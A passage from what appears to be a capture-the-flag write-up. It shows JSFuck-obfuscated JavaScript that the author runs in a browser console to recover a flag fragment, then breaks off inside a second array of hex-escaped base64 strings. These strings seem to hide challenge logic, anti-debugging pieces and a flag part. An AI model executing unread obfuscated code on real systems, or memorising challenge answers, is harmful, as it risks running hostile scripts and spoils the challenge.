[])[+[]]])[+!+[]+ [+[]]] + (!![]+ [])[+!+[]]]()[+!+[]+ [!+[]+  !+[]]] + ((!![]+ [])[+[]] + [!+[]+  !+[] +  !+[] +  !+[]] + [!+[]+  !+[] +  !+[] +  !+[] +  !+[] +  !+[] +  !+[]] + (!![]+ [])[+[]] + [+!+[]] + [!+[]+  !+[] +  !+[] +  !+[] +  !+[] +  !+[]] + [+[]] + (!![]+ [])[+[]] + [+!+[]] + [!+[]+  !+[] +  !+[]] + [!+[]+  !+[] +  !+[] +  !+[] +  !+[] +  !+[] +  !+[]] + (!![]+ [])[+[]] + [+!+[]] + [!+[]+  !+[] +  !+[] +  !+[]] + [!+[]+  !+[] +  !+[]] + (!![]+ [])[+[]] + [+!+[]] + [!+[]+  !+[] +  !+[] +  !+[] +  !+[] +  !+[]] + [!+[]+  !+[] +  !+[] +  !+[]] + (![]+ [])[+[]] + (!![]+ [])[+[]] + [+!+[]] + [!+[]+  !+[] +  !+[] +  !+[] +  !+[] +  !+[] +  !+[]] + [!+[]+  !+[] +  !+[]] + (!![]+ [])[+[]] + [!+[]+  !+[] +  !+[] +  !+[]] + [!+[]+  !+[] +  !+[] +  !+[] +  !+[] +  !+[] +  !+[]])[(![]+ [])[!+[]+  !+[] +  !+[]] + (+(!+[]+  !+[] + [+!+[]] + [+!+[]]))[(!![]+ [])[+[]] + (!![]+ [][(![]+ [])[+[]] + (![]+ [])[!+[]+  !+[]] + (![]+ [])[+!+[]] + (!![]+ [])[+[]]])[+!+[]+ [+[]]] + ([]+ [])[([][(![]+ [])[+[]] + (![]+ [])[!+[]+  !+[]] + (![]+ [])[+!+[]] + (!![]+ [])[+[]]] + [])[!+[]+  !+[] +  !+[]] + (!![]+ [][(![]+ [])[+[]] + (![]+ [])[!+[]+  !+[]] + (![]+ [])[+!+[]] + (!![]+ [])[+[]]])[+!+[]+ [+[]]] + ([][[]]+ [])[+!+[]] + (![]+ [])[!+[]+  !+[] +  !+[]] + (!![]+ [])[+[]] + (!![]+ [])[+!+[]] + ([][[]]+ [])[+[]] + ([][(![]+ [])[+[]] + (![]+ [])[!+[]+  !+[]] + (![]+ [])[+!+[]] + (!![]+ [])[+[]]] + [])[!+[]+  !+[] +  !+[]] + (!![]+ [])[+[]] + (!![]+ [][(![]+ [])[+[]] + (![]+ [])[!+[]+  !+[]] + (![]+ [])[+!+[]] + (!![]+ [])[+[]]])[+!+[]+ [+[]]] + (!![]+ [])[+!+[]]][([][[]]+ [])[+!+[]] + (![]+ [])[+!+[]] + ((+[])[([][(![]+ [])[+[]] + (![]+ [])[!+[]+  !+[]] + (![]+ [])[+!+[]] + (!![]+ [])[+[]]] + [])[!+[]+  !+[] +  !+[]] + (!![]+ [][(![]+ [])[+[]] + (![]+ [])[!+[]+  !+[]] + (![]+ [])[+!+[]] + (!![]+ [])[+[]]])[+!+[]+ [+[]]] + ([][[]]+ [])[+!+[]] + (![]+ [])[!+[]+  !+[] +  !+[]] + (!![]+ [])[+[]] + (!![]+ [])[+!+[]] + ([][[]]+ [])[+[]] + ([][(![]+ [])[+[]] + (![]+ [])[!+[]+  !+[]] + (![]+ [])[+!+[]] + (!![]+ [])[+[]]] + [])[!+[]+  !+[] +  !+[]] + (!![]+ [])[+[]] + (!![]+ [][(![]+ [])[+[]] + (![]+ [])[!+[]+  !+[]] + (![]+ [])[+!+[]] + (!![]+ [])[+[]]])[+!+[]+ [+[]]] + (!![]+ [])[+!+[]]] + [])[+!+[]+ [+!+[]]] + (!![]+ [])[!+[]+  !+[] +  !+[]]]](!+[]+  !+[] +  !+[] + [+!+[]])[+!+[]] + (![]+ [])[!+[]+  !+[]] + ([![]] + [][[]])[+!+[]+ [+[]]] + (!![]+ [])[+[]]]((!![]+ [])[+[]])[([][(!![]+ [])[!+[]+  !+[] +  !+[]] + ([][[]]+ [])[+!+[]] + (!![]+ [])[+[]] + (!![]+ [])[+!+[]] + ([![]] + [][[]])[+!+[]+ [+[]]] + (!![]+ [])[!+[]+  !+[] +  !+[]] + (![]+ [])[!+[]+  !+[] +  !+[]]]() + [])[!+[]+  !+[] +  !+[]] + (!![]+ [][(![]+ [])[+[]] + (![]+ [])[!+[]+  !+[]] + (![]+ [])[+!+[]] + (!![]+ [])[+[]]])[+!+[]+ [+[]]] + ([![]] + [][[]])[+!+[]+ [+[]]] + ([][[]]+ [])[+!+[]]](([][(![]+ [])[+[]] + (![]+ [])[!+[]+  !+[]] + (![]+ [])[+!+[]] + (!![]+ [])[+[]]][([][(![]+ [])[+[]] + (![]+ [])[!+[]+  !+[]] + (![]+ [])[+!+[]] + (!![]+ [])[+[]]] + [])[!+[]+  !+[] +  !+[]] + (!![]+ [][(![]+ [])[+[]] + (![]+ [])[!+[]+  !+[]] + (![]+ [])[+!+[]] + (!![]+ [])[+[]]])[+!+[]+ [+[]]] + ([][[]]+ [])[+!+[]] + (![]+ [])[!+[]+  !+[] +  !+[]] + (!![]+ [])[+[]] + (!![]+ [])[+!+[]] + ([][[]]+ [])[+[]] + ([][(![]+ [])[+[]] + (![]+ [])[!+[]+  !+[]] + (![]+ [])[+!+[]] + (!![]+ [])[+[]]] + [])[!+[]+  !+[] +  !+[]] + (!![]+ [])[+[]] + (!![]+ [][(![]+ [])[+[]] + (![]+ [])[!+[]+  !+[]] + (![]+ [])[+!+[]] + (!![]+ [])[+[]]])[+!+[]+ [+[]]] + (!![]+ [])[+!+[]]]((!![]+ [])[+!+[]] + (!![]+ [])[!+[]+  !+[] +  !+[]] + (!![]+ [])[+[]] + ([][[]]+ [])[+[]] + (!![]+ [])[+!+[]] + ([][[]]+ [])[+!+[]] + (![]+ [+[]])[([![]] + [][[]])[+!+[]+ [+[]]] + (!![]+ [])[+[]] + (![]+ [])[+!+[]] + (![]+ [])[!+[]+  !+[]] + ([![]] + [][[]])[+!+[]+ [+[]]] + ([][(![]+ [])[+[]] + (![]+ [])[!+[]+  !+[]] + (![]+ [])[+!+[]] + (!![]+ [])[+[]]] + [])[!+[]+  !+[] +  !+[]] + (![]+ [])[!+[]+  !+[] +  !+[]]]()[+!+[]+ [+[]]] +  ![] + (![]+ [+[]])[([![]] + [][[]])[+!+[]+ [+[]]] + (!![]+ [])[+[]] + (![]+ [])[+!+[]] + (![]+ [])[!+[]+  !+[]] + ([![]] + [][[]])[+!+[]+ [+[]]] + ([][(![]+ [])[+[]] + (![]+ [])[!+[]+  !+[]] + (![]+ [])[+!+[]] + (!![]+ [])[+[]]] + [])[!+[]+  !+[] +  !+[]] + (![]+ [])[!+[]+  !+[] +  !+[]]]()[+!+[]+ [+[]]])()[([][(![]+ [])[+[]] + (![]+ [])[!+[]+  !+[]] + (![]+ [])[+!+[]] + (!![]+ [])[+[]]] + [])[!+[]+  !+[] +  !+[]] + (!![]+ [][(![]+ [])[+[]] + (![]+ [])[!+[]+  !+[]] + (![]+ [])[+!+[]] + (!![]+ [])[+[]]])[+!+[]+ [+[]]] + ([][[]]+ [])[+!+[]] + (![]+ [])[!+[]+  !+[] +  !+[]] + (!![]+ [])[+[]] + (!![]+ [])[+!+[]] + ([][[]]+ [])[+[]] + ([][(![]+ [])[+[]] + (![]+ [])[!+[]+  !+[]] + (![]+ [])[+!+[]] + (!![]+ [])[+[]]] + [])[!+[]+  !+[] +  !+[]] + (!![]+ [])[+[]] + (!![]+ [][(![]+ [])[+[]] + (![]+ [])[!+[]+  !+[]] + (![]+ [])[+!+[]] + (!![]+ [])[+[]]])[+!+[]+ [+[]]] + (!![]+ [])[+!+[]]]((![]+ [+[]])[([![]] + [][[]])[+!+[]+ [+[]]] + (!![]+ [])[+[]] + (![]+ [])[+!+[]] + (![]+ [])[!+[]+  !+[]] + ([![]] + [][[]])[+!+[]+ [+[]]] + ([][(![]+ [])[+[]] + (![]+ [])[!+[]+  !+[]] + (![]+ [])[+!+[]] + (!![]+ [])[+[]]] + [])[!+[]+  !+[] +  !+[]] + (![]+ [])[!+[]+  !+[] +  !+[]]]()[+!+[]+ [+[]]]) + [])[+!+[]]) + ([]+ [])[(![]+ [])[+[]] + (!![]+ [][(![]+ [])[+[]] + (![]+ [])[!+[]+  !+[]] + (![]+ [])[+!+[]] + (!![]+ [])[+[]]])[+!+[]+ [+[]]] + ([][[]]+ [])[+!+[]] + (!![]+ [])[+[]] + ([][(![]+ [])[+[]] + (![]+ [])[!+[]+  !+[]] + (![]+ [])[+!+[]] + (!![]+ [])[+[]]] + [])[!+[]+  !+[] +  !+[]] + (!![]+ [][(![]+ [])[+[]] + (![]+ [])[!+[]+  !+[]] + (![]+ [])[+!+[]] + (!![]+ [])[+[]]])[+!+[]+ [+[]]] + (![]+ [])[!+[]+  !+[]] + (!![]+ [][(![]+ [])[+[]] + (![]+ [])[!+[]+  !+[]] + (![]+ [])[+!+[]] + (!![]+ [])[+[]]])[+!+[]+ [+[]]] + (!![]+ [])[+!+[]]]()[+!+[]+ [!+[]+  !+[]]])());
var _0x31e3x3=([][_0xa965[0]]()+ _0xa965[1])[14];
    _0x31e3x3+= (_0xa965[2]+ _0xa965[3]+  +_0xa965[3]+ _0xa965[3])[2];
    _0x31e3x3+= (+(35))[_0xa965[4]+ String[_0xa965[5]]](20)[1];
    _0x31e3x3+= (+(211))[_0xa965[4]+ String[_0xa965[5]]](24)[1];
    _0x31e3x3+= ( typeof document[_0xa965[6]])[1];
    _0x31e3x3+= ([false]+ undefined)[10];
    _0x31e3x3+= ([][_0xa965[7]]+ _0xa965[1])[4];
    _0x31e3x3+= (NaN+ [Infinity])[10];
    var _0x31e3x4=([]==  ![])+ (false== [])+ (false==  ![])+ (NaN=== NaN)+ (document[_0xa965[6]] instanceof  Object)+ (Number[_0xa965[8]]> 0);
    _0x31e3x3+= _0x31e3x4;
    _0x31e3x2= _0x31e3x2+ _0x31e3x3};_0x31e3x1()})()

Basically, we don’t need to understand this code at all. We just need to run it in the javascript console, so that we can get the _0x31e3x2 value. Running it in the console, we can see that the value of _0x31e3x2 is p_ctf{INfjnity5.

Moving to the other code,

1
2
var _0xd4d0=["\x62\x30\x78\x48\x63\x55\x73\x3D","\x57\x55\x31\x74\x57\x56\x59\x3D","\x54\x46\x68\x6C\x55\x6E\x49\x3D","\x61\x57\x35\x77\x64\x58\x51\x3D","\x55\x46\x6C\x35\x53\x6B\x59\x3D","\x52\x57\x78\x32\x64\x47\x59\x3D","\x61\x6D\x68\x35\x63\x48\x63\x3D","\x62\x48\x4E\x49\x55\x55\x63\x3D","\x57\x56\x5A\x52\x53\x58\x45\x3D","\x62\x48\x68\x4B\x57\x55\x67\x3D","\x53\x55\x39\x61\x52\x45\x49\x3D","\x52\x6C\x6C\x35\x55\x45\x6F\x3D","\x64\x6C\x52\x44\x65\x57\x30\x3D","\x59\x32\x68\x68\x63\x6B\x4E\x76\x5A\x47\x56\x42\x64\x41\x3D\x3D","\x61\x47\x56\x73\x62\x47\x38\x3D","\x64\x48\x68\x30\x53\x57\x35\x77\x64\x58\x51\x3D","\x4D\x7A\x5A\x6D\x4D\x57\x55\x7A\x4E\x54\x52\x68\x4F\x44\x59\x32\x4D\x6A\x63\x79\x4F\x44\x52\x69\x4E\x44\x49\x30\x4E\x6A\x55\x32\x4E\x6D\x59\x32\x59\x54\x63\x34\x4D\x6A\x4D\x3D","\x55\x45\x4E\x55\x52\x69\x42\x47\x62\x47\x46\x6E\x49\x46\x42\x68\x63\x6E\x51\x67\x4D\x6A\x6F\x67\x58\x32\x49\x7A\x5A\x7A\x46\x75\x4E\x56\x39\x33\x4D\x58\x52\x6F\x58\x7A\x52\x75\x58\x77\x3D\x3D","\x62\x55\x74\x52\x57\x6B\x63\x3D","\x59\x32\x68\x43\x61\x57\x30\x3D","\x62\x47\x39\x6E","\x5A\x32\x56\x30\x52\x57\x78\x6C\x62\x57\x56\x75\x64\x45\x4A\x35\x53\x57\x51\x3D","\x52\x45\x78\x52\x52\x45\x73\x3D","\x5A\x30\x35\x6F\x62\x56\x4D\x3D","\x64\x6D\x46\x73\x64\x57\x55\x3D","\x51\x6C\x42\x6D\x61\x6D\x45\x3D","\x53\x32\x74\x4F\x62\x45\x4D\x3D","\x59\x6E\x64\x53\x57\x56\x63\x3D","\x54\x45\x4E\x78\x52\x31\x51\x3D","\x59\x32\x39\x75\x63\x33\x52\x79\x64\x57\x4E\x30\x62\x33\x49\x3D","\x54\x6D\x31\x76\x59\x6C\x51\x3D","\x52\x45\x5A\x77\x56\x30\x34\x3D","\x57\x57\x39\x31\x49\x48\x4E\x6F\x62\x33\x56\x73\x5A\x43\x42\x30\x63\x6E\x6B\x67\x62\x57\x39\x79\x5A\x53\x45\x3D","\x54\x6E\x52\x6D\x55\x31\x6B\x3D","\x59\x6D\x74\x4C\x56\x6B\x45\x3D","\x64\x58\x4A\x61\x53\x56\x51\x3D","\x63\x55\x35\x4C\x64\x6B\x55\x3D","\x55\x46\x70\x4F\x59\x6D\x38\x3D","\x5A\x55\x74\x59\x51\x31\x4D\x3D","\x59\x30\x78\x4B\x61\x48\x49\x3D","\x5A\x32\x64\x6C\x63\x67\x3D\x3D","\x59\x30\x5A\x6D\x61\x31\x49\x3D","\x54\x55\x4E\x59\x61\x32\x55\x3D","\x61\x56\x5A\x76\x53\x56\x67\x3D","\x5A\x45\x31\x33\x63\x46\x41\x3D","\x59\x6C\x4A\x61\x54\x48\x6B\x3D","\x63\x47\x6C\x6E\x57\x46\x59\x3D","\x64\x48\x4A\x5A\x54\x47\x55\x3D","\x54\x6E\x42\x4C\x51\x33\x51\x3D","\x5A\x48\x64\x48\x64\x47\x34\x3D","\x52\x46\x4A\x6A\x52\x46\x59\x3D","\x59\x58\x5A\x77\x55\x46\x59\x3D","\x51\x30\x68\x73\x64\x30\x45\x3D","\x57\x58\x46\x75\x53\x31\x4D\x3D","\x54\x57\x4A\x47\x56\x57\x63\x3D","\x65\x57\x64\x50\x56\x33\x51\x3D","\x61\x6B\x78\x46\x54\x32\x49\x3D","\x56\x32\x4E\x4A\x61\x45\x77\x3D","\x54\x55\x4E\x57\x55\x6C\x41\x3D","\x53\x58\x52\x52\x56\x58\x6F\x3D","\x53\x48\x4A\x58\x5A\x46\x55\x3D","\x61\x57\x4A\x52\x51\x6C\x51\x3D","\x64\x56\x64\x49\x54\x30\x63\x3D","\x64\x55\x56\x44\x52\x58\x51\x3D","\x5A\x46\x64\x46\x52\x58\x41\x3D","\x55\x31\x5A\x52\x55\x6D\x55\x3D","\x57\x6E\x68\x47\x54\x57\x63\x3D","\x55\x47\x74\x7A\x64\x47\x30\x3D","\x57\x6B\x4E\x35\x59\x6D\x73\x3D","\x61\x57\x35\x70\x64\x41\x3D\x3D","\x59\x6D\x52\x7A\x59\x56\x4D\x3D","\x62\x57\x35\x55\x63\x6E\x41\x3D","\x51\x6D\x68\x49\x65\x6C\x4D\x3D","\x54\x45\x4A\x53\x57\x58\x45\x3D","\x63\x32\x5A\x77\x55\x48\x4D\x3D","\x63\x46\x52\x49\x62\x47\x30\x3D","\x61\x46\x64\x73\x64\x57\x6F\x3D","\x64\x45\x39\x73\x59\x58\x55\x3D","\x62\x6D\x70\x5A\x64\x6D\x51\x3D","\x54\x31\x52\x6A\x65\x6D\x4D\x3D","\x61\x47\x39\x46\x54\x45\x6F\x3D","\x65\x6E\x68\x4F\x56\x58\x49\x3D","\x54\x55\x46\x44\x56\x32\x55\x3D","\x57\x45\x56\x4F\x52\x6D\x45\x3D","\x65\x6C\x64\x34\x61\x31\x67\x3D","\x51\x32\x74\x75\x53\x56\x49\x3D","\x61\x6D\x56\x58\x57\x58\x49\x3D","\x55\x45\x74\x6C\x56\x45\x4D\x3D","\x52\x55\x70\x4D\x63\x32\x30\x3D","\x61\x6B\x5A\x44\x54\x46\x67\x3D","\x56\x55\x74\x78\x65\x47\x34\x3D","\x54\x32\x74\x51\x5A\x6D\x6B\x3D","\x51\x32\x39\x43\x57\x45\x51\x3D","\x59\x56\x5A\x4C\x5A\x6C\x67\x3D","\x4E\x54\x6C\x38\x4D\x7A\x6C\x38\x4E\x44\x56\x38\x4D\x54\x6C\x38\x4E\x6A\x68\x38\x4F\x58\x77\x7A\x4D\x33\x77\x32\x4D\x48\x77\x79\x66\x44\x49\x35\x66\x44\x63\x78\x66\x44\x49\x33\x66\x44\x4E\x38\x4E\x44\x4A\x38\x4F\x48\x77\x31\x4E\x48\x77\x32\x4E\x58\x77\x78\x4E\x6E\x77\x32\x66\x44\x59\x7A\x66\x44\x49\x7A\x66\x44\x4D\x30\x66\x44\x42\x38\x4E\x54\x4A\x38\x4E\x44\x4E\x38\x4E\x6A\x52\x38\x4D\x54\x56\x38\x4E\x44\x68\x38\x4D\x54\x52\x38\x4D\x7A\x68\x38\x4E\x54\x56\x38\x4E\x48\x77\x31\x4D\x33\x77\x79\x4F\x48\x77\x31\x4D\x48\x77\x30\x4E\x33\x77\x32\x4E\x6E\x77\x32\x4D\x6E\x77\x78\x4D\x48\x77\x30\x4F\x58\x77\x31\x4D\x58\x77\x78\x4E\x33\x77\x30\x4E\x6E\x77\x79\x4E\x48\x77\x32\x4D\x58\x77\x31\x4F\x48\x77\x78\x66\x44\x49\x79\x66\x44\x49\x32\x66\x44\x64\x38\x4E\x44\x42\x38\x4E\x6A\x6C\x38\x4D\x7A\x56\x38\x4E\x7A\x42\x38\x4D\x7A\x64\x38\x4E\x44\x46\x38\x4D\x6A\x46\x38\x4D\x7A\x4A\x38\x4D\x7A\x42\x38\x4E\x44\x52\x38\x4E\x6A\x64\x38\x4E\x58\x77\x78\x4F\x48\x77\x7A\x4D\x58\x77\x78\x4D\x58\x77\x31\x4E\x33\x77\x78\x4D\x6E\x77\x79\x4D\x48\x77\x78\x4D\x33\x77\x7A\x4E\x6E\x77\x31\x4E\x6E\x77\x79\x4E\x51\x3D\x3D","\x63\x33\x42\x73\x61\x58\x51\x3D","\x59\x6D\x35\x36\x56\x6C\x49\x3D","\x55\x32\x39\x78\x65\x46\x63\x3D","\x52\x30\x70\x31\x64\x57\x49\x3D","\x53\x55\x74\x42\x54\x33\x49\x3D","\x62\x58\x64\x53\x55\x57\x6B\x3D","\x51\x55\x4A\x42\x62\x31\x6F\x3D","\x5A\x45\x52\x45\x61\x33\x6F\x3D","\x56\x47\x52\x6F\x51\x33\x6B\x3D","\x54\x31\x68\x77\x52\x32\x77\x3D","\x64\x55\x6C\x49\x51\x55\x45\x3D","\x57\x58\x5A\x45\x5A\x58\x51\x3D","\x51\x58\x4E\x79\x59\x31\x41\x3D","\x62\x32\x70\x6A\x62\x6B\x34\x3D","\x52\x58\x70\x30\x53\x46\x49\x3D","\x61\x57\x56\x45\x5A\x48\x51\x3D","\x65\x6B\x4E\x5A\x51\x55\x63\x3D","\x55\x47\x6C\x76\x53\x45\x59\x3D","\x52\x55\x56\x51\x63\x30\x34\x3D","\x54\x47\x4A\x6F\x62\x6E\x51\x3D","\x5A\x55\x70\x74\x64\x6E\x41\x3D","\x59\x57\x31\x58\x61\x6B\x6B\x3D","\x51\x6D\x56\x5A\x5A\x55\x49\x3D","\x62\x32\x31\x36\x55\x6D\x63\x3D","\x56\x56\x5A\x58\x61\x32\x67\x3D","\x56\x6D\x5A\x72\x62\x31\x4D\x3D","\x55\x31\x4E\x30\x63\x32\x34\x3D","\x55\x33\x68\x78\x62\x6C\x4D\x3D","\x64\x30\x35\x30\x52\x6D\x49\x3D","\x5A\x45\x78\x6A\x5A\x32\x34\x3D","\x62\x55\x52\x4D\x59\x30\x55\x3D","\x59\x6E\x52\x78\x52\x32\x34\x3D","\x61\x45\x52\x30\x65\x48\x4D\x3D","\x53\x47\x4A\x50\x5A\x46\x45\x3D","\x62\x31\x56\x46\x54\x6E\x67\x3D","\x53\x6C\x56\x6F\x63\x30\x4D\x3D","\x52\x6B\x78\x4D\x62\x55\x6F\x3D","\x53\x6E\x6C\x45\x65\x46\x51\x3D","\x63\x6C\x64\x61\x5A\x30\x55\x3D","\x61\x45\x46\x7A\x53\x6D\x67\x3D","\x51\x58\x5A\x54\x54\x30\x6F\x3D","\x55\x31\x56\x57\x63\x6B\x73\x3D","\x65\x55\x52\x30\x5A\x6E\x4D\x3D","\x57\x56\x6C\x52\x56\x6B\x6F\x3D","\x51\x33\x4A\x4A\x65\x57\x34\x3D","\x4D\x48\x77\x34\x66\x44\x45\x31\x66\x44\x45\x78\x66\x44\x45\x77\x66\x44\x4E\x38\x4E\x33\x77\x31\x66\x44\x4A\x38\x4E\x48\x77\x78\x4D\x33\x77\x78\x4D\x6E\x77\x35\x66\x44\x5A\x38\x4D\x58\x77\x78\x4E\x41\x3D\x3D","\x65\x56\x6C\x31\x59\x30\x38\x3D","\x52\x30\x52\x47\x61\x31\x49\x3D","\x61\x45\x52\x57\x64\x56\x67\x3D","\x56\x6B\x64\x78\x54\x31\x6B\x3D","\x52\x30\x4E\x52\x53\x31\x45\x3D","\x56\x57\x35\x4B\x53\x57\x30\x3D","\x64\x33\x6C\x6D\x61\x58\x63\x3D","\x64\x45\x64\x54\x55\x58\x59\x3D","\x62\x30\x74\x79\x61\x56\x41\x3D","\x65\x46\x64\x6B\x51\x32\x4D\x3D","\x56\x47\x35\x74\x5A\x47\x30\x3D","\x62\x33\x6C\x57\x51\x58\x55\x3D","\x64\x6E\x56\x57\x59\x56\x49\x3D","\x52\x30\x5A\x43\x62\x57\x38\x3D","\x61\x57\x64\x70\x56\x31\x51\x3D","\x57\x6D\x56\x43\x52\x55\x38\x3D","\x59\x6C\x42\x4E\x61\x32\x4D\x3D","\x62\x47\x56\x75\x5A\x33\x52\x6F","\x61\x6E\x70\x44\x5A\x57\x38\x3D","\x55\x57\x68\x43\x59\x32\x38\x3D","\x53\x48\x5A\x59\x54\x56\x41\x3D","\x5A\x47\x56\x69\x64\x51\x3D\x3D","\x5A\x57\x74\x51\x62\x55\x6B\x3D","\x63\x33\x52\x68\x64\x47\x56\x50\x59\x6D\x70\x6C\x59\x33\x51\x3D","\x64\x47\x39\x54\x64\x48\x4A\x70\x62\x6D\x63\x3D","\x63\x33\x56\x69\x63\x33\x52\x79","\x52\x6D\x6C\x6A\x5A\x55\x4D\x3D","\x63\x6D\x56\x77\x62\x47\x46\x6A\x5A\x51\x3D\x3D","\x56\x6D\x5A\x4F\x59\x55\x67\x3D","\x64\x58\x68\x6B\x53\x6D\x73\x3D","\x5A\x6E\x4A\x76\x62\x55\x4E\x6F\x59\x58\x4A\x44\x62\x32\x52\x6C","\x59\x58\x46\x34\x53\x45\x49\x3D","\x65\x46\x4E\x4C\x64\x56\x55\x3D","\x65\x55\x6C\x61\x63\x46\x55\x3D","\x64\x6B\x74\x70\x65\x6D\x6B\x3D","\x54\x6B\x74\x32\x53\x30\x77\x3D","\x64\x6D\x46\x75\x63\x6C\x51\x3D","\x55\x33\x46\x54\x5A\x32\x49\x3D","\x53\x32\x74\x5A\x55\x6B\x45\x3D","\x54\x6C\x64\x6F\x51\x32\x4D\x3D","\x5A\x6D\x4E\x73\x57\x47\x4D\x3D","\x54\x6D\x74\x74\x56\x32\x77\x3D","\x5A\x31\x56\x4E\x5A\x32\x30\x3D","\x65\x47\x5A\x48\x54\x47\x73\x3D","\x56\x30\x70\x59\x61\x30\x38\x3D","\x4E\x44\x52\x38\x4D\x6E\x77\x7A\x4D\x58\x77\x32\x4F\x48\x77\x35\x66\x44\x4D\x77\x66\x44\x51\x32\x66\x44\x55\x79\x66\x44\x59\x32\x66\x44\x49\x77\x66\x44\x55\x34\x66\x44\x56\x38\x4D\x6A\x64\x38\x4D\x54\x5A\x38\x4D\x54\x46\x38\x4E\x6A\x52\x38\x4E\x6A\x64\x38\x4E\x7A\x46\x38\x4E\x54\x42\x38\x4E\x48\x77\x32\x4F\x58\x77\x31\x4E\x58\x77\x30\x4F\x48\x77\x30\x4D\x48\x77\x32\x4D\x6E\x77\x34\x66\x44\x49\x78\x66\x44\x55\x32\x66\x44\x4D\x31\x66\x44\x4D\x34\x66\x44\x4D\x35\x66\x44\x51\x79\x66\x44\x45\x7A\x66\x44\x49\x35\x66\x44\x4D\x30\x66\x44\x45\x33\x66\x44\x55\x35\x66\x44\x55\x33\x66\x44\x45\x30\x66\x44\x45\x79\x66\x44\x59\x31\x66\x44\x49\x34\x66\x44\x45\x77\x66\x44\x55\x78\x66\x44\x45\x35\x66\x44\x49\x30\x66\x44\x51\x31\x66\x44\x55\x30\x66\x44\x46\x38\x4D\x7A\x64\x38\x4D\x48\x77\x79\x4E\x6E\x77\x78\x4E\x58\x77\x78\x4F\x48\x77\x31\x4D\x33\x77\x33\x4D\x48\x77\x32\x4D\x48\x77\x7A\x66\x44\x49\x79\x66\x44\x49\x31\x66\x44\x51\x33\x66\x44\x59\x7A\x66\x44\x59\x78\x66\x44\x5A\x38\x4D\x7A\x4E\x38\x4E\x44\x46\x38\x4E\x44\x4E\x38\x4E\x33\x77\x7A\x4E\x6E\x77\x7A\x4D\x6E\x77\x30\x4F\x58\x77\x79\x4D\x77\x3D\x3D","\x5A\x30\x39\x7A\x54\x45\x77\x3D","\x59\x6C\x5A\x44\x61\x6D\x6F\x3D","\x65\x57\x5A\x36\x56\x33\x41\x3D","\x53\x45\x4A\x71\x57\x6C\x67\x3D","\x53\x6B\x35\x75\x64\x45\x51\x3D","\x52\x56\x64\x71\x62\x6E\x67\x3D","\x59\x33\x68\x35\x52\x58\x4D\x3D","\x51\x56\x52\x4D\x52\x30\x49\x3D","\x5A\x6B\x31\x4F\x56\x6B\x73\x3D","\x51\x33\x42\x4F\x52\x33\x59\x3D","\x55\x46\x64\x42\x55\x30\x63\x3D","\x51\x57\x4E\x4C\x56\x31\x63\x3D","\x61\x6D\x68\x73\x51\x31\x4D\x3D","\x63\x32\x39\x46\x61\x6B\x73\x3D","\x64\x55\x4A\x72\x54\x47\x59\x3D","\x52\x57\x35\x70\x57\x6C\x4D\x3D","\x55\x33\x46\x48\x53\x56\x51\x3D","\x52\x57\x46\x47\x53\x47\x77\x3D","\x65\x47\x31\x6D\x53\x6D\x45\x3D","\x5A\x30\x4A\x6A\x64\x55\x73\x3D","\x52\x33\x64\x53\x65\x6D\x59\x3D","\x59\x57\x5A\x4B\x61\x6E\x51\x3D","\x62\x47\x64\x4E\x54\x57\x45\x3D","\x55\x31\x64\x59\x53\x58\x59\x3D","\x53\x46\x46\x61\x64\x30\x59\x3D","\x52\x33\x4A\x7A\x52\x6E\x67\x3D","\x54\x46\x70\x49\x59\x30\x67\x3D","\x61\x47\x6C\x58\x64\x6B\x51\x3D","\x56\x6C\x4E\x61\x56\x56\x51\x3D","\x64\x57\x6C\x6D\x5A\x47\x67\x3D","\x57\x58\x46\x7A\x52\x48\x49\x3D","\x51\x6B\x5A\x78\x63\x56\x6F\x3D","\x57\x47\x56\x31\x5A\x57\x38\x3D","\x5A\x57\x5A\x59\x65\x45\x45\x3D","\x55\x6D\x35\x61\x62\x33\x49\x3D","\x52\x33\x6C\x59\x55\x6B\x63\x3D","\x59\x57\x4E\x78\x57\x57\x38\x3D","\x56\x45\x35\x54\x62\x32\x77\x3D","\x53\x6E\x68\x31\x53\x6B\x34\x3D","\x62\x6E\x56\x4B\x64\x30\x67\x3D","\x61\x48\x64\x43\x5A\x6D\x55\x3D","\x64\x48\x56\x33\x54\x30\x6F\x3D","\x5A\x47\x6C\x7A\x59\x32\x6F\x3D","\x54\x56\x56\x51\x52\x58\x55\x3D","\x57\x47\x70\x4B\x61\x6E\x55\x3D","\x56\x6B\x74\x72\x56\x31\x67\x3D","\x56\x6D\x35\x48\x52\x46\x4D\x3D","\x64\x33\x42\x70\x57\x6B\x59\x3D","\x64\x47\x39\x4D\x62\x33\x64\x6C\x63\x6B\x4E\x68\x63\x32\x55\x3D","\x52\x55\x5A\x5A\x55\x58\x6B\x3D","\x61\x31\x4A\x74\x61\x6C\x41\x3D","\x62\x6C\x46\x54\x57\x6E\x45\x3D","\x56\x6C\x42\x30\x56\x55\x49\x3D","\x64\x32\x68\x70\x62\x47\x55\x67\x4B\x48\x52\x79\x64\x57\x55\x70\x49\x48\x74\x39","\x59\x32\x39\x31\x62\x6E\x52\x6C\x63\x67\x3D\x3D","\x59\x57\x4E\x30\x61\x57\x39\x75","\x62\x31\x4E\x34\x57\x46\x59\x3D","\x5A\x6E\x4E\x58\x62\x6E\x41\x3D","\x61\x46\x42\x52\x56\x31\x55\x3D","\x62\x48\x4E\x75\x55\x6D\x67\x3D","\x65\x48\x52\x42\x56\x6B\x45\x3D","\x57\x48\x46\x70\x64\x57\x4D\x3D","\x62\x6B\x39\x6F\x63\x6E\x4D\x3D","\x62\x56\x70\x58\x62\x32\x77\x3D","\x57\x58\x4E\x59\x52\x32\x59\x3D","\x61\x48\x46\x48\x53\x58\x45\x3D","\x63\x31\x42\x55\x56\x57\x4D\x3D","\x54\x6E\x46\x6C\x51\x6C\x55\x3D","\x53\x58\x46\x30\x55\x6E\x41\x3D","\x54\x45\x52\x48\x61\x30\x6F\x3D","\x63\x6E\x4E\x68\x56\x58\x6B\x3D","\x59\x32\x46\x73\x62\x41\x3D\x3D","\x5A\x6B\x31\x6F\x57\x46\x41\x3D","\x55\x6B\x56\x68\x61\x32\x4D\x3D","\x54\x47\x46\x72\x65\x45\x45\x3D","\x52\x47\x39\x43\x61\x58\x59\x3D","\x53\x58\x4E\x5A\x62\x55\x30\x3D","\x63\x6D\x46\x72\x65\x48\x6B\x3D","\x55\x6D\x46\x77\x59\x57\x67\x3D","\x53\x6E\x6C\x54\x53\x6D\x63\x3D","\x54\x55\x46\x45\x62\x45\x67\x3D","\x55\x57\x78\x75\x55\x46\x41\x3D","\x5A\x58\x56\x58\x52\x46\x51\x3D","\x52\x6B\x35\x35\x57\x56\x41\x3D","\x54\x47\x78\x48\x63\x6E\x55\x3D","\x54\x6D